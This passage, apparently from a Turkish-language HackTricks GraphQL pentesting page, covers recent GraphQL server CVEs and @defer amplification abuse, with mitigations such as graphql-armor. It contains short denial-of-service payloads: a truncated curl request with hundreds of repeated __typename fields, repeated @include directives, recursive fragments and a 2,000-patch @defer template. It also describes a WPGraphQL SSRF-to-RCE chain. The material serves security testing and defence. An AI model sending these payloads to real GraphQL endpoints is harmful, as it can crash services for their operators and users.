\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Son Zafiyetler (2023-2025)

GraphQL ekosistemi çok hızlı evriliyor; son iki yılda en çok kullanılan server kütüphanelerinde birkaç kritik sorun ifşa edildi. Bir GraphQL uç noktası bulduğunuzda bu nedenle motorun parmak izini almak (bkz. graphw00f) ve çalıştırılan sürümü aşağıdaki zafiyetlerle karşılaştırmak faydalıdır.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Etkilenen: async-graphql < 7.0.10 (Rust)
  • Kök neden: çoğaltılmış direktifler için limit yok (ör. binlerce @include) ve bunlar üssel sayıda yürütme düğümüne genişliyor.
  • Etki: tek bir HTTP isteği CPU/RAM’i tüketip servisi çökertebilir.
  • Düzeltme/azaltma: ≥ 7.0.10’a yükseltin veya SchemaBuilder.limit_directives() çağırın; alternatif olarak "@include.*@include.*@include" gibi bir WAF kuralı ile istekleri filtreleyin.
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF depth/complexity bypass

  • Etkilenen: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Kök neden: ExecutableNormalizedFields, MaxQueryDepth / MaxQueryComplexity instrumentation tarafından dikkate alınmıyordu. Bu nedenle recursive fragments tüm limitleri atlatıyordu.
  • Etkisi: graphql-java içeren Java stack’lerine karşı kimlik doğrulaması gerektirmeyen DoS (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE zinciri

  • Etkilenen: WPGraphQL ≤ 1.14.5 (WordPress eklentisi).
  • Kök neden: createMediaItem mutation saldırgan kontrollü filePath URLs kabul ediyordu; bu, iç ağ erişimine ve dosya yazımına izin veriyordu.
  • Etkisi: kimlik doğrulamalı Editörler/Yazarlar metadata endpoint’lerine erişebilir veya uzak kod yürütme için PHP dosyaları yazabilirler.

Kademeli teslim kötüye kullanımı: @defer / @stream

2023’ten bu yana çoğu büyük sunucu (Apollo 4, GraphQL-Java 20+, HotChocolate 13) GraphQL-over-HTTP WG tarafından tanımlanan incremental delivery direktiflerini uyguladı. Her deferred patch ayrı bir chunk olarak gönderildiğinden toplam yanıt boyutu N + 1 (envelope + patches) olur. Binlerce küçük deferred alan içeren bir sorgu, saldırgana sadece tek bir istek maliyetiyle büyük bir yanıt üreterek klasik bir amplification DoS oluşturur ve yalnızca ilk chunk’ı inceleyen body-size WAF kurallarını atlatmanın bir yoludur. WG üyeleri riski kendileri işaret etti.

Örnek payload 2 000 patch üretiyor:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Önlem: üretim ortamında @defer/@stream’i devre dışı bırakın veya max_patches, kümülatif max_bytes ve yürütme süresini zorunlu kılın. graphql-armor gibi kütüphaneler (aşağıya bakınız) zaten makul varsayılanları uygular.


Savunma middleware’leri (2024+)

ProjeNotlar
graphql-armorEscape Tech tarafından yayımlanan Node/TypeScript doğrulama middleware’i. Sorgu derinliği, alias/field/directive sayıları, token’lar ve maliyet için tak-çalıştır limitleri uygular; Apollo Server, GraphQL Yoga/Envelop, Helix vb. ile uyumlu.

Hızlı başlangıç:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor artık aşırı derin, karmaşık veya direktif ağırlıklı sorguları engelleyerek yukarıdaki CVE’lere karşı koruma sağlar.


Araçlar

Zafiyet tarayıcıları

Yaygın zafiyetleri istismar etmek için scriptler

İstemciler

Otomatik Testler

https://graphql-dashboard.herokuapp.com/

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin